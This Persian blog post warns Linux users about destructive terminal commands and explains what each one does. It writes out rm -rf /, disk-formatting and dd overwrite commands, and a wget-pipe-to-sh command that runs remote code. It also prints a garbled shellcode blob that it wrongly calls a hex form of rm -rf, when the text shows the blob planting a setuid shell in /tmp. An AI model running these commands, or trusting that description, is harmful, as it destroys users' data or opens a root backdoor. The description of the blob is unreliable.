گنو/لینوکس

چند دستور که نباید آن ها را در لینوکس اجرا کنید

نوشته شده توسط اروند طباطبایی

دستورات ترمینال لینوکس بسیار قدرتمند هستند و معمولاً برای انجام کاری از کاربر تأیید نمی گیرند. این می می‌تواند باعث شود که سیستمتان دچار مشکلات حادی گردد. در انجمن‌ها و کانال‌های IRC مربوط به لینوکس گاهی پیش می‌آید که کسی برای شوخی به یک کاربر تازه کار دستوری را پیشنهاد کند که باعث بروز مشکل در سیستم عامل می‌شود، مانند Fork Bomb که در در این پست درباره آن توضیح دادیم.

یاد گرفتن دستوراتی که نباید اجرا کنید، می‌تواند به شما کمک کند از شر این شوخی ها در امان باشید و همچنین درک بیشتری از نحوه کارکرد گنو/لینوکس پیدا خواهید کرد. این پست راهنمای کاملی نیست چون معمولاً این دستورات بسیار انعطاف پذیر هستند و می‌توان به شکل‌های گوناگون به نتایج آن رسید.

توجه داشته باشید ه تعداد زیادی از این دستورات تنها وقتی خطرناک هستند که با دسترسی روت اجرا شوند، در غیر این صورت کار خاصی انجام نخواهند داد.

 

/ rm -rf

دستور / rm -rf هر چیزی را که بتوند حذف می کند. این شامل فایل هاای روی هارد، فلش مموری و هر چیزی است که سیستم عامل به آن دسترسی داشته، می شود. برای اینکه این دستور را بهتر بفهمیم آن را به چند تکه تقسیم می کنم:

rm : این دستور هر فایلی که به عنوان آرگومان بگیرد را حذف می‌کند

rf- : این آپشن ها باعث می‌شوند تا rm با قطعیت کارش را انجام دهد و فایل‌ها و دایرکتوری های داخل یک دایرکتوری را به صورت بازگشتی حذف کند.

/ : این همان چیزی است که rm سعی در حذفش دارد. در‌واقع ما دستور داده‌ایم تا دایرکتوری ریشه حذف شود. حتماً می‌دانید وقتی یک فلش مموری را روی سیستم سوار می کنید، جزئی از دایرکتوری روت می‌شود.

با اجرا این دستور لینوکس با خوشحالی سعی می کند هر فایلی را که میبیند حذف کند، بدون اینکه چیز دیگری از شما بخواهد. دستور rm به این شکل‌ها هم تواند خطرناک باشد:

~ rm -rf : این دستور تمام فایل‌های دایرکتوری home کاربر شما را حذف می‌کند.

* rm -rf : این دستور تمام فایل‌های دایرکتوری جاری را حدف می کند.

 

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68”
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99”
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7”
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56”
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31”
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69”
“x6ex2fx73x68x00x2dx63x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

این کد هم نسخه ی hex دستور /rm -rf است که در اینترنت پخش شده

پس در بکار برد rm محتاط باشید.

 

mkfs.ext4 /dev/sda1

فهم دستور mkfs.ext4 /dev/sda1 بسیار ساده است.

mkfs.ext4 : این دستور یک فایل سیستم ext4 در دیوایسی که به عنوان آرگومان می‌گیرد، ایجاد می کند.

dev/sda1/ : این همان دیوایسی است که دستور فوق قرار است روی آن کار کند.

این دستور تقریباً همانند دستور فرمت در ویندوز است. در‌واقع این دستور پارتیشن اول هارتان را باext4 فرمت می کند.

معادل این دستور می‌تواند mkfs.ext3 /dev/sdb2 باشد که پارتیشن دوم را به صورت ext3 فرمت می کند.

هر دستوری که در آن dev/sd/ دیده می‌شود قرار است با هارد سیستمتان کاری انجام دهد، مراقب آن‌ها باشید.

 

command > /dev/sda

این یک حالت کلی از دستورات اینکه command می‌تواند هر چیزی باشد. این دستور در نهایت خروجی دستور اول(command) را مستقیماً روی هاردتان می‌نویسد و باعث خراب شدن فایل سیستمتان می شود.

< : خروجی دستور سمت چپ خود را در مقصد خود که در مست راستش مشخص شده می‌نویسد.

 

dd if=/dev/random of=/dev/sda

این دستور هم می‌تواند اطلاعات هاردتان را از بین ببرد.

dd : این دستور دیتایی را به صورت low-level در مقصدش کپی می کند.

if=/dev/random : این قسمت مبدأ دیتا را مشخص می کند. در اینجا مبدأ dev/random/ بوده است (ادیتای رندم در اینجا وجود دارد)

of=/dev/sda : این قسمت مقصد را مشخص می‌کند که در این مثال هارد به عنوان مقصد انتخاب شده است.

s

mv ~ /dev/null

dev/null/ جایی در سیستم عامل است که هر چیزی را به آنجا بفرستیم، نابود می شود. خوب مشخص است که هر دستوری که چیزی را به آن انتقال می‌دهد می‌تواند خطرناک باشد.

 

– wget http://example.com/something -O – | sh

دستور بالا یک فایل را دانلود کرده و سعی می‌کند آن را اجرا کند. در صورتی که ندانید با این دستور چه چیزی را دانلود و اجرا می کنید، می‌تواند شدیداً خطرناک باشد.

پس حواسمان باشد چه اسکریپتی را دانلود و اجرا می‌کنیم 🙂

 

 

درباره نویسنده

اروند طباطبایی

بنیانگذار دیجی اسپارک: اولین مرجع تخصصی امبدد سیستم به زبان فارسی / کارشناس سئو و تولید محتوا

هرچه می آموزم میبینم که خیلی کم آموختم. علاقه به رباتیک و تکنولوژی دارم. امیدوارم بتونم دانشی را که آموخته‌ام، به روش‌های مختلفی به کاربران علاقمند منتقل کنم.

تبادل نظر و رفع عیب با ثبت دیدگاه

۵ دیدگاه